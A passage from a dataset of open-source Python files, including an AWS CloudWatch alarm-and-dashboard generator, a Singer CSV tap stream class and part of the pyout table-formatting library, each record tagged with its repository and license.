friendly = None\n name = svc_info['AlarmPrefix'] + '_' + svc_info['Service']\n if svc_info['FriendlyName']:\n friendly = get_service_instance_tag_value(instance, svc_client, svc_info,\n svc_info['FriendlyName'])\n if friendly:\n name += '_' + friendly[:Maxlen-(len(name)+len(svc_info['AlarmDimName']))]\n\n if svc_info['EnsureUniqueName'] or not friendly:\n name += '_' + instance[svc_info['AlarmDimName']]\n\n return name\n\n\ndef create_service_alarms(svc_inst, svc_client, svc_info):\n \"\"\"\n Parse instances, creating alarms for each\n \"\"\"\n alarms = svc_info['Alarms']\n alm_tgt = get_notify_targets(svc_info['AlarmDestinations'])\n for instance in svc_inst:\n for alarm in alarms:\n alarmname = instance['myname'] + '_' + alarm\n try:\n if alarms[alarm]['send_ok']:\n CW_C.put_metric_alarm(AlarmName=alarmname,\n MetricName=alarms[alarm]['MetricName'],\n Namespace=alarms[alarm]['Namespace'],\n AlarmDescription=alarms[alarm]['AlarmDescription'],\n Statistic=alarms[alarm]['Statistic'],\n Period=alarms[alarm]['Period'],\n Threshold=alarms[alarm]['Threshold'],\n ComparisonOperator=alarms[alarm]['ComparisonOperator'],\n EvaluationPeriods=alarms[alarm]['EvaluationPeriods'],\n AlarmActions=[alm_tgt[alarms[alarm]['AlarmAction']]],\n OKActions=[alm_tgt[alarms[alarm]['AlarmAction']]],\n Dimensions=[{'Name':svc_info['AlarmDimName'],\n 'Value':instance[svc_info['AlarmDimName']]}])\n else:\n CW_C.put_metric_alarm(AlarmName=alarmname,\n MetricName=alarms[alarm]['MetricName'],\n Namespace=alarms[alarm]['Namespace'],\n AlarmDescription=alarms[alarm]['AlarmDescription'],\n Statistic=alarms[alarm]['Statistic'],\n Period=alarms[alarm]['Period'],\n Threshold=alarms[alarm]['Threshold'],\n ComparisonOperator=alarms[alarm]['ComparisonOperator'],\n EvaluationPeriods=alarms[alarm]['EvaluationPeriods'],\n AlarmActions=[alm_tgt[alarms[alarm]['AlarmAction']]],\n Dimensions=[{'Name':svc_info['AlarmDimName'],\n 'Value':instance[svc_info['AlarmDimName']]}])\n\n except KeyError:\n Logger.warning('Failed to create alarm: ' + alarmname)\n Logger.warning('Ensure valid AlarmDestinations / AlarmDimName')\n Logger.warning('in monitor definitions:' + svc_info['Service'])\n\n return get_service_alarms(svc_info['AlarmPrefix'], svc_info['Service'],\n alarm_list=['All'])\n\n\ndef get_service_alarms(prefix, service, alarm_list):\n \"\"\"\n Get all alarms for a given AlarmPrefix + service\n \"\"\"\n alarms = []\n alarmprefix = prefix + '_' + service\n paginator = CW_C.get_paginator('describe_alarms')\n if alarm_list is not None:\n if alarm_list == ['All']:\n alarminst = alarmprefix\n for response in paginator.paginate(AlarmNamePrefix=alarminst):\n alarms.extend(response['MetricAlarms'])\n else:\n for inst in alarm_list:\n alarminst = alarmprefix + '_' + inst['myname']\n for response in paginator.paginate(AlarmNamePrefix=alarminst):\n alarms.extend(response['MetricAlarms'])\n return alarms\n\n\ndef delete_service_alarms(alarm_list):\n \"\"\"\n Delete all alarms passed to the function\n \"\"\"\n alarmnames = []\n for alarm in alarm_list:\n alarmnames.append(alarm['AlarmName'])\n # limit of 100 for delete\n if len(alarmnames) > 90:\n CW_C.delete_alarms(AlarmNames=alarmnames)\n alarmnames = []\n if alarmnames:\n CW_C.delete_alarms(AlarmNames=alarmnames)\n\n\ndef format_widget_props(svc_info, cht_name, chart, inst, alarms):\n \"\"\"\n Helper to format AWS dashboard widget dictionary\n \"\"\"\n metrics = []\n props = {}\n\n if chart['is_alarm']:\n arns = []\n for alarm in alarms:\n if alarm['MetricName'] in chart['metric_list']:\n if alarm['Dimensions'][0]['Value'] == inst[svc_info['AlarmDimName']]:\n arns.append(alarm['AlarmArn'])\n # currently AWS handles 1 alarm\n break\n props['annotations'] = {'alarms' : arns}\n else:\n for mts in chart['metric_list']:\n metric = mts[:]\n metric.append(inst[svc_info['AlarmDimName']])\n metrics.append(metric)\n props['metrics'] = metrics\n avail_zone = eval('inst' + chart['avail'])\n props['region'] = avail_zone[:-1]\n props['stat'] = chart['stat']\n props['period'] = chart['period']\n props['view'] = chart['view']\n props['stacked'] = chart['stacked']\n props['title'] = cht_name\n return props\n\n\ndef build_dashboard_widgets(svc_inst, alarms, svc_info):\n \"\"\"\n Parse instances, creating chart widgets\n \"\"\"\n widgets = []\n x_val = 0\n y_val = 0\n width = 6\n height = 4\n chts = svc_info['Charts']\n for inst in svc_inst:\n for cht in chts:\n # build a chart widget\n widg = {}\n cht_name = inst['myname'] + ' ' + cht\n widg['properties'] = format_widget_props(svc_info, cht_name,\n chts[cht], inst, alarms)\n widg['type'] = chts[cht]['ch_type']\n\n # position graph\n widg['x'] = x_val\n widg['y'] = y_val\n widg['height'] = height\n widg['width'] = width\n\n # go small if singleValue chart\n if widg['properties']['view'] == 'singleValue':\n widg['width'] /= 2\n widgets.append(widg)\n\n # wrap to next line, if necessary\n x_val += widg['width']\n if x_val > DASHBOARD_MAX_WIDTH:\n x_val = 0\n y_val += height\n\n return widgets\n\n\ndef generate_dashboard(name, chart_j):\n \"\"\"\n Given chart widgets, create a dashboard\n \"\"\"\n wgtcount = len(chart_j['widgets'])\n dashcount = int(wgtcount / DASHBOARD_MAX_WIDGET + 1)\n for dash in range(0, dashcount):\n dname = name + '_' + str(dash+1)\n widglist = chart_j['widgets'][dash * DASHBOARD_MAX_WIDGET: \\\n min(dash * DASHBOARD_MAX_WIDGET + wgtcount,\n (dash+1) * DASHBOARD_MAX_WIDGET)]\n dwidgets = {'widgets' : widglist}\n CW_C.put_dashboard(DashboardName=dname, DashboardBody=json.dumps(dwidgets))\n wgtcount -= DASHBOARD_MAX_WIDGET\n\n return get_dashboards(name)\n\n\ndef get_dashboards(prefix):\n \"\"\"\n Get Cloudwatch dashboards for a given prefix\n \"\"\"\n dashboards = CW_C.list_dashboards(DashboardNamePrefix=prefix)\n return dashboards['DashboardEntries']\n\ndef delete_dashboards(dashboard_list):\n \"\"\"\n Delete all dashboards passed to the function\n \"\"\"\n dashboardnames = []\n for dashboard in dashboard_list:\n dashboardnames.append(dashboard['DashboardName'])\n if dashboardnames:\n CW_C.delete_dashboards(DashboardNames=dashboardnames)\n\ndef parse_service_response(svc_client, svc_info, response):\n \"\"\"\n Handle paginated response from service\n \"\"\"\n inst = []\n if svc_info['InstanceIterator2']:\n # Two levels of lists\n for tmp in response[svc_info['InstanceIterator1']]:\n for tmp2 in tmp[svc_info['InstanceIterator2']]:\n tmp2['myname'] = create_friendly_name(tmp2, svc_client, svc_info)\n inst.append(tmp2)\n elif svc_info['InstanceIterator1']:\n for tmp in response[svc_info['InstanceIterator1']]:\n tmp['myname'] = create_friendly_name(tmp, svc_client, svc_info)\n inst.append(tmp)\n else:\n for tmp in response:\n tmp['myname'] = create_friendly_name(tmp, svc_client, svc_info)\n inst.append(tmp)\n return inst\n\n\ndef get_service_instances(svc_client, svc_info):\n \"\"\"\n Retrieve instances for the given service,\n Flattening AWS structure if necessary\n \"\"\"\n instances = []\n paginator = svc_client.get_paginator(svc_info['DiscoverInstance'])\n if svc_info['InstanceFilters']:\n for response in paginator.paginate(Filters=svc_info['InstanceFilters']):\n instances.extend(parse_service_response(svc_client, svc_info, response))\n else:\n for response in paginator.paginate():\n instances.extend(parse_service_response(svc_client, svc_info, response))\n\n return instances\n\n\n\ndef main(event, context):\n \"\"\"\n Main functionality\n \"\"\"\n all_widgets = []\n cons = pdt.Constants()\n cons.YearParseStyle = 0\n pdtcal = pdt.Calendar(cons)\n now_tm = pdtcal.parse(\"now\")\n now_str = strftime('%c', now_tm[0])\n\n ##### PROGRAM FLOW #####\n # Load team file\n team_info = load_monitor_file(TEAM_FILEPATH)\n\n # For each service file in MonitorDefs,\n for svc in team_info['MonitorDefs']:\n\n # Load service file\n svc_info = load_monitor_file(DEFS_PATH + svc)\n\n # Ensure API exists for service\n try:\n svc_client = boto3.client(svc_info['Service'])\n except exceptions.UnknownServiceError:\n Logger.critical('Service unknown to AWS API:' + svc_info['Service'])\n\n if svc_info['Service'] in SERVICE_LIST:\n # Get new instances.\n instances = get_service_instances(svc_client, svc_info)\n instfile = svc_info['Service'] + '_' + svc_info['S3Suffix'] + '.json'\n # Get old instances\n old_inst = load_instances(team_info['Bucket'], instfile)\n # Determine what's new and deleted.\n del_inst, new_inst = determine_deltas(list(instances), old_inst)\n # Cleanup any old instance alarms.\n delete_service_alarms(get_service_alarms(svc_info['AlarmPrefix'],\n svc_info['Service'],\n alarm_list=del_inst))\n http_status = save_instances(instances, team_info['Bucket'],\n instfile)\n if http_status != 200:\n Logger.error('Unable to write instances file:' + instfile)\n\n report_text = format_report(len(instances), new_inst, del_inst, svc_info)\n if team_info['SendStatusUpdates'] and report_text:\n send_report(report_text, svc_info, now_str)\n\n # Create instance alarms for new instances.\n alarms = create_service_alarms(new_inst, svc_client, svc_info)\n\n dash_j = build_dashboard_widgets(instances, alarms, svc_info)\n all_widgets.extend(dash_j)\n\n # If service dashboard is requested, create one.\n if svc_info['CreateServiceDashboard']:\n name = svc_info['AlarmPrefix'] + '_' + svc_info['Service']\n name += '_' + svc_info['S3Suffix']\n chart_j = {'widgets' : dash_j}\n delete_dashboards(get_dashboards(name))\n generate_dashboard(name, chart_j)\n else:\n Logger.warning('No permissions for listing instances. Service: ')\n Logger.warning(svc_info['Service'])\n # If team dashboard is requested, create one\n if team_info['CreateTeamDashboard']:\n name = svc_info['AlarmPrefix'] + '_' + team_info['Team']\n chart_j = {'widgets' : all_widgets}\n delete_dashboards(get_dashboards(name))\n generate_dashboard(name, chart_j)\n\n\n#main('foo', 'bar')\n", "source": "zulily/aws_monitor", "license": "Apache-2.0"}
+{"text": "\"\"\"\nZadeklaruj funkcje kt\u00f3ra jako argumenty przyjmuje dwie zmienne i zwraca ich sum\u0119\n\"\"\"\n\ndef f(a:int, b:int):\n return a+b\nprint(f(12, 12))\n", "source": "Wiktor-Wewe/zadaniaDoKolosaWewe", "license": "MIT"}
+{"text": "import logging\n\nfrom configurer import ConfigManager, Component, Option\nfrom configurer.readers.environ import EnvironmentReader\nfrom configurer.validators import Required, GreaterThan, LowerThan\n\nlogging.basicConfig(level=logging.DEBUG)\n\n\ncm = ConfigManager(readers=[EnvironmentReader(prefix='t')])\n\n\nclass DefaultConfig(Component):\n\n enabled = Option('enabled',\n parser=bool,\n default=True)\n\n host = Option('host',\n parser=str,\n validator=[\n Required(),\n ])\n\n port = Option('port',\n parser=int,\n validator=[\n Required(),\n GreaterThan(100),\n LowerThan(1000),\n ])\n\n def launch(self):\n if not self.enabled:\n return None\n\n return self.host, self.port\n\n\nd = DefaultConfig(cm, namespace=['hello'])\nprint(d.launch())\n", "source": "jamielennox/configurer", "license": "Apache-2.0"}
+{"text": "\"\"\"Custom client handling, including CSVStream base class.\"\"\"\n\nimport csv\nimport os\nfrom typing import Iterable, List, Optional\n\nfrom singer_sdk import typing as th\nfrom singer_sdk.streams import Stream\n\n\nclass CSVStream(Stream):\n \"\"\"Stream class for CSV streams.\"\"\"\n\n file_paths: List[str] = []\n\n def __init__(self, *args, **kwargs):\n \"\"\"Init CSVStram.\"\"\"\n # cache file_config so we dont need to go iterating the config list again later\n self.file_config = kwargs.pop(\"file_config\")\n super().__init__(*args, **kwargs)\n\n def get_records(self, context: Optional[dict]) -> Iterable[dict]:\n \"\"\"Return a generator of row-type dictionary objects.\n\n The optional `context` argument is used to identify a specific slice of the\n stream if partitioning is required for the stream. Most implementations do not\n require partitioning and should ignore the `context` argument.\n \"\"\"\n for file_path in self.get_file_paths():\n headers: List[str] = []\n for row in self.get_rows(file_path):\n if not headers:\n headers = row\n continue\n yield dict(zip(headers, row))\n\n def get_file_paths(self) -> list:\n \"\"\"Return a list of file paths to read.\n\n This tap accepts file names and directories so it will detect\n directories and iterate files inside.\n \"\"\"\n # Cache file paths so we dont have to iterate multiple times\n if self.file_paths:\n return self.file_paths\n\n file_path = self.file_config[\"path\"]\n if not os.path.exists(file_path):\n raise Exception(f\"File path does not exist {file_path}\")\n\n file_paths = []\n if os.path.isdir(file_path):\n clean_file_path = os.path.normpath(file_path) + os.sep\n for filename in os.listdir(clean_file_path):\n file_path = clean_file_path + filename\n if self.is_valid_filename(file_path):\n file_paths.append(file_path)\n else:\n if self.is_valid_filename(file_path):\n file_paths.append(file_path)\n\n if not file_paths:\n raise Exception(\n f\"Stream '{self.name}' has no acceptable files. \\\n See warning for more detail.\"\n )\n self.file_paths = file_paths\n return file_paths\n\n def is_valid_filename(self, file_path: str) -> bool:\n \"\"\"Return a boolean of whether the file includes CSV extension.\"\"\"\n is_valid = True\n if file_path[-4:] != \".csv\":\n is_valid = False\n self.logger.warning(f\"Skipping non-csv file '{file_path}'\")\n self.logger.warning(\n \"Please provide a CSV file that ends with '.csv'; e.g. 'users.csv'\"\n )\n return is_valid\n\n def get_rows(self, file_path: str) -> Iterable[list]:\n \"\"\"Return a generator of the rows in a particular CSV file.\"\"\"\n with open(file_path, \"r\") as f:\n reader = csv.reader(f)\n for row in reader:\n yield row\n\n @property\n def schema(self) -> dict:\n \"\"\"Return dictionary of record schema.\n\n Dynamically detect the json schema for the stream.\n This is evaluated prior to any records being retrieved.\n \"\"\"\n properties: List[th.Property] = []\n self.primary_keys = self.file_config.get(\"keys\", [])\n\n for file_path in self.get_file_paths():\n for header in self.get_rows(file_path):\n break\n break\n\n for column in header:\n # Set all types to string\n # TODO: Try to be smarter about inferring types.\n properties.append(th.Property(column, th.StringType()))\n return th.PropertiesList(*properties).to_dict()\n", "source": "MeltanoLabs/tap-csv", "license": "Apache-2.0"}
+{"text": "\"\"\"Common components for styled output.\n\nThis modules contains things that would be shared across outputters if there\nwere any besides Tabular. The Tabular class, though, still contains a good\namount of general logic that should be extracted if any other outputter is\nactually added.\n\"\"\"\n\nfrom collections import defaultdict\nfrom collections import namedtuple\nfrom collections import OrderedDict\nfrom collections.abc import Mapping\nfrom collections.abc import Sequence\nfrom functools import partial\nimport inspect\nfrom logging import getLogger\n\nfrom pyout import elements\nfrom pyout.field import Field\nfrom pyout.field import Nothing\nfrom pyout.truncate import Truncater\nfrom pyout.summary import Summary\n\nlgr = getLogger(__name__)\nNOTHING = Nothing()\n\n\nclass UnknownColumns(Exception):\n \"\"\"The row has unknown columns.\n\n Parameters\n ----------\n unknown_columns : list\n \"\"\"\n\n def __init__(self, unknown_columns):\n self.unknown_columns = unknown_columns\n super(UnknownColumns, self).__init__(\n \"Unknown columns: {}\".format(unknown_columns))\n\n\nclass RowNormalizer(object):\n \"\"\"Transform various input data forms to a common form.\n\n An un-normalized row can be one of three kinds:\n\n * a mapping from column names to keys\n\n * a sequence of values in the same order as `columns`\n\n * any other value will be taken as an object where the column values can\n be accessed via an attribute with the same name\n\n To normalize a row, it is\n\n * converted to a dict that maps from column names to values\n\n * all callables are stripped out and replaced with their initial values\n\n * if the value for a column is missing, it is replaced with a Nothing\n instance whose value is specified by the column's style (an empty\n string by default)\n\n Parameters\n ----------\n columns : sequence of str\n Column names.\n style : dict, optional\n Column styles.\n\n Attributes\n ----------\n method : callable\n A function that takes a row and returns a normalized one. This is\n chosen at time of the first call. All subsequent calls should use the\n same kind of row.\n nothings : dict\n Maps column name to the placeholder value to use if that column is\n missing.\n \"\"\"\n\n def __init__(self, columns, style):\n self._columns = columns\n self.method = None\n\n self.delayed = defaultdict(list)\n self.delayed_columns = set()\n self.nothings = {} # column => missing value\n self._known_columns = set()\n\n for column in columns:\n cstyle = style[column]\n\n if \"delayed\" in cstyle:\n lgr.debug(\"Registered delay for column %r\", column)\n value = cstyle[\"delayed\"]\n group = column if value is True else value\n self.delayed[group].append(column)\n self.delayed_columns.add(column)\n\n if \"missing\" in cstyle:\n self.nothings[column] = Nothing(cstyle[\"missing\"])\n else:\n self.nothings[column] = NOTHING\n\n def __call__(self, row):\n \"\"\"Normalize `row`\n\n Parameters\n ----------\n row : mapping, sequence, or other\n Data to normalize.\n\n Returns\n -------\n A tuple (callables, row), where `callables` is a list (as returned by\n `strip_callables`) and `row` is the normalized row.\n \"\"\"\n if self.method is None:\n self.method = self._choose_normalizer(row)\n return self.method(row)\n\n def _choose_normalizer(self, row):\n if isinstance(row, Mapping):\n getter = self.getter_dict\n elif isinstance(row, Sequence):\n getter = self.getter_seq\n else:\n getter = self.getter_attrs\n lgr.debug(\"Selecting %s as normalizer\", getter.__name__)\n return partial(self._normalize, getter)\n\n def _normalize(self, getter, row):\n columns = self._columns\n if isinstance(row, Mapping):\n callables0 = self.strip_callables(row)\n # The row may have new columns. All we're doing here is keeping\n # them around in the normalized row so that downstream code can\n # react to them.\n known = self._known_columns\n new_cols = [c for c in row.keys() if c not in known]\n if new_cols:\n if isinstance(self._columns, OrderedDict):\n columns = list(self._columns)\n columns = columns + new_cols\n else:\n callables0 = []\n\n norm_row = self._maybe_delay(getter, row, columns)\n # We need a second pass with strip_callables because norm_row will\n # contain new callables for any delayed values.\n callables1 = self.strip_callables(norm_row)\n return callables0 + callables1, norm_row\n\n def _maybe_delay(self, getter, row, columns):\n row_norm = {}\n for column in columns:\n if column not in self.delayed_columns:\n row_norm[column] = getter(row, column)\n\n def delay(cols):\n return lambda: {c: getter(row, c) for c in cols}\n\n for cols in self.delayed.values():\n key = cols[0] if len(cols) == 1 else tuple(cols)\n lgr.debug(\"Delaying %r for row %r\", cols, row)\n row_norm[key] = delay(cols)\n return row_norm\n\n def strip_callables(self, row):\n \"\"\"Extract callable values from `row`.\n\n Replace the callable values with the initial value (if specified) or\n an empty string.\n\n Parameters\n ----------\n row : mapping\n A data row. The keys are either a single column name or a tuple of\n column names. The values take one of three forms: 1) a\n non-callable value, 2) a tuple (initial_value, callable), 3) or a\n single callable (in which case the initial value is set to an empty\n string).\n\n Returns\n -------\n list of (column, callable)\n \"\"\"\n callables = []\n to_delete = []\n to_add = []\n for columns, value in row.items():\n if isinstance(value, tuple):\n initial, fn = value\n else:\n initial = NOTHING\n # Value could be a normal (non-callable) value or a\n # callable with no initial value.\n fn = value\n\n if callable(fn) or inspect.isgenerator(fn):\n lgr.debug(\"Using %r as the initial value \"\n \"for columns %r in row %r\",\n initial, columns, row)\n if not isinstance(columns, tuple):\n columns = columns,\n else:\n to_delete.append(columns)\n for column in columns:\n to_add.append((column, initial))\n callables.append((columns, fn))\n\n for column, value in to_add:\n row[column] = value\n for multi_columns in to_delete:\n del row[multi_columns]\n\n return callables\n\n # Input-specific getters. These exist as their own methods so that they\n # can be wrapped in a callable and delayed.\n\n def getter_dict(self, row, column):\n # Note: We .get() from `nothings` because `row` is permitted to have an\n # unknown column.\n return row.get(column, self.nothings.get(column, NOTHING))\n\n def getter_seq(self, row, column):\n col_to_idx = {c: idx for idx, c in enumerate(self._columns)}\n return row[col_to_idx[column]]\n\n def getter_attrs(self, row, column):\n return getattr(row, column, self.nothings[column])\n\n\nclass StyleFields(object):\n \"\"\"Generate Fields based on the specified style and processors.\n\n Parameters\n ----------\n style : dict\n A style that follows the schema defined in pyout.elements.\n procgen : StyleProcessors instance\n This instance is used to generate the fields from `style`.\n \"\"\"\n\n def __init__(self, style, procgen):\n self.init_style = style\n self.procgen = procgen\n\n self.style = None\n self.columns = None\n self.autowidth_columns = {}\n self._known_columns = set()\n\n self.width_fixed = None\n self.width_separtor = None\n self.fields = None\n self._truncaters = {}\n\n self.hidden = {} # column => {True, \"if-empty\", False}\n self._visible_columns = None # cached list of visible columns\n\n self._table_width = None\n\n def build(self, columns, table_width=None):\n \"\"\"Build the style and fields.\n\n Parameters\n ----------\n columns : list of str\n Column names.\n table_width : int, optional\n Table width to use instead of the previously specified width.\n \"\"\"\n self.columns = columns\n self._known_columns = set(columns)\n default = dict(elements.default(\"default_\"),\n **self.init_style.get(\"default_\", {}))\n self.style = elements.adopt({c: default for c in columns},\n self.init_style)\n\n # Store special keys in _style so that they can be validated.\n self.style[\"default_\"] = default\n self.style[\"header_\"] = self._compose(\"header_\", {\"align\", \"width\"})\n self.style[\"aggregate_\"] = self._compose(\"aggregate_\",\n {\"align\", \"width\"})\n self.style[\"separator_\"] = self.init_style.get(\n \"separator_\", elements.default(\"separator_\"))\n lgr.debug(\"Validating style %r\", self.style)\n if table_width is not None:\n self._table_width = table_width\n elif self._table_width is None:\n self._table_width = self.init_style.get(\n \"width_\", elements.default(\"width_\"))\n self.style[\"width_\"] = self._table_width\n elements.validate(self.style)\n\n self._setup_fields()\n\n self.hidden = {c: self.style[c][\"hide\"] for c in columns}\n self._reset_width_info()\n\n def _compose(self, name, attributes):\n \"\"\"Construct a style taking `attributes` from the column styles.\n\n Parameters\n ----------\n name : str\n Name of main style (e.g., \"header_\").\n attributes : set of str\n Adopt these elements from the column styles.\n\n Returns\n -------\n The composite style for `name`.\n \"\"\"\n name_style = self.init_style.get(name, elements.default(name))\n if self.init_style is not None and name_style is not None:\n result = {}\n for col in self.columns:\n cstyle = {k: v for k, v in self.style[col].items()\n if k in attributes}\n result[col] = dict(cstyle, **name_style)\n return result\n\n def _setup_fields(self):\n fields = {}\n style = self.style\n width_table = style[\"width_\"]\n\n def frac_to_int(x):\n if x and 0 < x < 1:\n result = int(x * width_table)\n lgr.debug(\"Converted fraction %f to %d\", x, result)\n else:\n result = x\n return result\n\n for column in self.columns:\n lgr.debug(\"Setting up field for column %r\", column)\n cstyle = style[column]\n style_width = cstyle[\"width\"]\n\n # Convert atomic values into the equivalent complex form.\n if style_width == \"auto\":\n style_width = {}\n elif not isinstance(style_width, Mapping):\n style_width = {\"width\": style_width}\n\n is_auto = \"width\" not in style_width\n if is_auto:\n lgr.debug(\"Automatically adjusting width for %s\", column)\n width = frac_to_int(style_width.get(\"min\", 0))\n wmax = frac_to_int(style_width.get(\"max\"))\n autoval = {\"max\": wmax, \"min\": width,\n \"weight\": style_width.get(\"weight\", 1)}\n self.autowidth_columns[column] = autoval\n lgr.debug(\"Stored auto-width value for column %r: %s\",\n column, autoval)\n else:\n if \"min\" in style_width or \"max\" in style_width:\n raise ValueError(\n \"'min' and 'max' are incompatible with 'width'\")\n width = frac_to_int(style_width[\"width\"])\n lgr.debug(\"Setting width of column %r to %d\",\n column, width)\n\n # We are creating a distinction between \"width\" processors, that we\n # always want to be active and \"default\" processors that we want to\n # be active unless there's an overriding style (i.e., a header is\n # being written or the `style` argument to __call__ is specified).\n field = Field(width=width, align=cstyle[\"align\"],\n default_keys=[\"width\", \"default\"],\n other_keys=[\"override\"])\n field.add(\"pre\", \"default\",\n *(self.procgen.pre_from_style(cstyle)))\n truncater = Truncater(\n width,\n style_width.get(\"marker\", True),\n style_width.get(\"truncate\", \"right\"))\n field.add(\"post\", \"width\", truncater.truncate)\n field.add(\"post\", \"default\",\n *(self.procgen.post_from_style(cstyle)))\n fields[column] = field\n self._truncaters[column] = truncater\n self.fields = fields\n\n @property\n def has_header(self):\n \"\"\"Whether the style specifies a header.\n \"\"\"\n return self.style[\"header_\"] is not None\n\n @property\n def visible_columns(self):\n \"\"\"List of columns that are not marked as hidden.\n\n This value is cached and becomes invalid if column visibility has\n changed since the last `render` call.\n \"\"\"\n if self._visible_columns is None:\n hidden = self.hidden\n self._visible_columns = [c for c in self.columns if not hidden[c]]\n return self._visible_columns\n\n def _check_widths(self):\n visible = self.visible_columns\n autowidth_columns = self.autowidth_columns\n width_table = self.style[\"width_\"]\n if width_table is None:\n # The table is unbounded (non-interactive).\n return\n\n if len(visible) > width_table:\n raise elements.StyleError(\n \"Number of visible columns exceeds available table width\")\n\n width_fixed = self.width_fixed\n width_auto = width_table - width_fixed\n\n if width_auto < len(set(autowidth_columns).intersection(visible)):\n raise elements.StyleError(\n \"The number of visible auto-width columns ({}) \"\n \"exceeds the available width ({})\"\n .format(len(autowidth_columns), width_auto))\n\n def _set_fixed_widths(self):\n \"\"\"Set fixed-width attributes.\n\n Previously calculated values are invalid if the number of visible\n columns changes. Call _reset_width_info() in that case.\n \"\"\"\n visible = self.visible_columns\n ngaps = len(visible) - 1\n width_separtor = len(self.style[\"separator_\"]) * ngaps\n lgr.debug(\"Calculated separator width as %d\", width_separtor)\n\n autowidth_columns = self.autowidth_columns\n fields = self.fields\n width_fixed = sum([sum(fields[c].width for c in visible\n if c not in autowidth_columns),\n width_separtor])\n lgr.debug(\"Calculated fixed width as %d\", width_fixed)\n\n self.width_separtor = width_separtor\n self.width_fixed = width_fixed\n\n def _reset_width_info(self):\n \"\"\"Reset visibility-dependent information.\n \"\"\"\n self._visible_columns = None\n self._set_fixed_widths()\n self._check_widths()\n\n def _set_widths(self, row, proc_group):\n \"\"\"Update auto-width Fields based on `row`.\n\n Parameters\n ----------\n row : dict\n proc_group : {'default', 'override'}\n Whether to consider 'default' or 'override' key for pre- and\n post-format processors.\n\n Returns\n -------\n True if any widths required adjustment.\n \"\"\"\n autowidth_columns = self.autowidth_columns\n fields = self.fields\n\n width_table = self.style[\"width_\"]\n width_fixed = self.width_fixed\n if width_table is None:\n width_auto = float(\"inf\")\n else:\n width_auto = width_table - width_fixed\n\n if not autowidth_columns:\n return False\n\n # Check what width each row wants.\n lgr.debug(\"Checking width for row %r\", row)\n hidden = self.hidden\n for column in autowidth_columns:\n if hidden[column]:\n lgr.debug(\"%r is hidden; setting width to 0\",\n column)\n autowidth_columns[column][\"wants\"] = 0\n continue\n\n field = fields[column]\n lgr.debug(\"Checking width of column %r (current field width: %d)\",\n column, field.width)\n # If we've added any style transform functions as pre-format\n # processors, we want to measure the width of their result rather\n # than the raw value.\n if field.pre[proc_group]:\n value = field(row[column], keys=[proc_group],\n exclude_post=True)\n else:\n value = row[column]\n value = str(value)\n value_width = len(value)\n wmax = autowidth_columns[column][\"max\"]\n wmin = autowidth_columns[column][\"min\"]\n max_seen = max(value_width, field.width)\n requested_floor = max(max_seen, wmin)\n wants = min(requested_floor, wmax or requested_floor)\n lgr.debug(\"value=%r, value width=%d, old field length=%d, \"\n \"min width=%s, max width=%s => wants=%d\",\n value, value_width, field.width, wmin, wmax, wants)\n autowidth_columns[column][\"wants\"] = wants\n\n # Considering those wants and the available width, assign widths to\n # each column.\n assigned = self._assign_widths(autowidth_columns, width_auto)\n\n # Set the assigned widths.\n adjusted = False\n for column, width_assigned in assigned.items():\n field = fields[column]\n width_current = field.width\n if width_assigned != width_current:\n adjusted = True\n field.width = width_assigned\n lgr.debug(\"Adjusting width of %r column from %d to %d \",\n column, width_current, field.width)\n self._truncaters[column].length = field.width\n return adjusted\n\n @staticmethod\n def _assign_widths(columns, available):\n \"\"\"Assign widths to auto-width columns.\n\n Parameters\n ----------\n columns : dict\n A dictionary where each key is an auto-width column. The value\n should be a dictionary with the following information:\n - wants: how much width the column wants\n - min: the minimum that the width should set to, provided there\n is enough room\n - weight: if present, a \"weight\" key indicates the number of\n available characters the column should claim at a time. This is\n only in effect after each column has claimed one, and the\n specific column has claimed its minimum.\n available : int or float('inf')\n Width available to be assigned.\n\n Returns\n -------\n Dictionary mapping each auto-width column to the assigned width.\n \"\"\"\n # NOTE: The method below is not very clever and does unnecessary\n # iteration. It may end up being too slow, but at least it should\n # serve to establish the baseline (along with tests) that show the\n # desired behavior.\n\n assigned = {}\n\n # Make sure every column gets at least one.\n for column in columns:\n col_wants = columns[column][\"wants\"]\n if col_wants > 0:\n available -= 1\n assigned[column] = 1\n assert available >= 0, \"bug: upstream checks should make impossible\"\n\n weights = {c: columns[c].get(\"weight\", 1) for c in columns}\n # ATTN: The sorting here needs to be stable across calls with the same\n # row so that the same assignments come out.\n colnames = sorted(assigned.keys(), reverse=True,\n key=lambda c: (columns[c][\"min\"], weights[c], c))\n columns_in_need = set(assigned.keys())\n while available > 0 and columns_in_need:\n for column in colnames:\n if column not in columns_in_need:\n continue\n\n col_wants = columns[column][\"wants\"] - assigned[column]\n if col_wants < 1:\n columns_in_need.remove(column)\n continue\n\n wmin = columns[column][\"min\"]\n has = assigned[column]\n claim = min(weights[column] if has >= wmin else wmin - has,\n col_wants,\n available)\n available -= claim\n assigned[column] += claim\n lgr.log(9, \"Claiming %d characters (of %d available) for %s\",\n claim, available, column)\n if available == 0:\n break\n lgr.debug(\"Available width after assigned: %s\", available)\n lgr.debug(\"Assigned widths: %r\", assigned)\n return assigned\n\n def _proc_group(self, style, adopt=True):\n \"\"\"Return whether group is \"default\" or \"override\".\n\n In the case of \"override\", the self.fields pre-format and post-format\n processors will be set under the \"override\" key.\n\n Parameters\n ----------\n style : dict\n A style that follows the schema defined in pyout.elements.\n adopt : bool, optional\n Merge `self.style` and `style`, giving priority to the latter's\n keys when there are conflicts. If False, treat `style` as a\n standalone style.\n \"\"\"\n fields = self.fields\n if style is not None:\n if adopt:\n style = elements.adopt(self.style, style)\n elements.validate(style)\n\n for column in self.columns:\n fields[column].add(\n \"pre\", \"override\",\n *(self.procgen.pre_from_style(style[column])))\n fields[column].add(\n \"post\", \"override\",\n *(self.procgen.post_from_style(style[column])))\n return \"override\"\n else:\n return \"default\"\n\n def _check_for_unknown_columns(self, row):\n known = self._known_columns\n # The sorted() call here isn't necessary, but it makes testing the\n # expected output easier without relying on the order-preserving\n # implementation detail of the new dict implementation introduced in\n # Python 3.6.\n cols_new = sorted(c for c in row if c not in known)\n if cols_new:\n raise UnknownColumns(cols_new)\n\n def render(self, row, style=None, adopt=True, can_unhide=True):\n \"\"\"Render fields with values from `row`.\n\n Parameters\n ----------\n row : dict\n A normalized row.\n style : dict, optional\n A style that follows the schema defined in pyout.elements. If\n None, `self.style` is used.\n adopt : bool, optional\n Merge `self.style` and `style`, using the latter's keys\n when there are conflicts. If False, treat `style` as a\n standalone style.\n can_unhide : bool, optional\n Whether a non-missing value within `row` is able to unhide a column\n that is marked with \"if_missing\".\n\n Returns\n -------\n A tuple with the rendered value (str) and a flag that indicates whether\n the field widths required adjustment (bool).\n 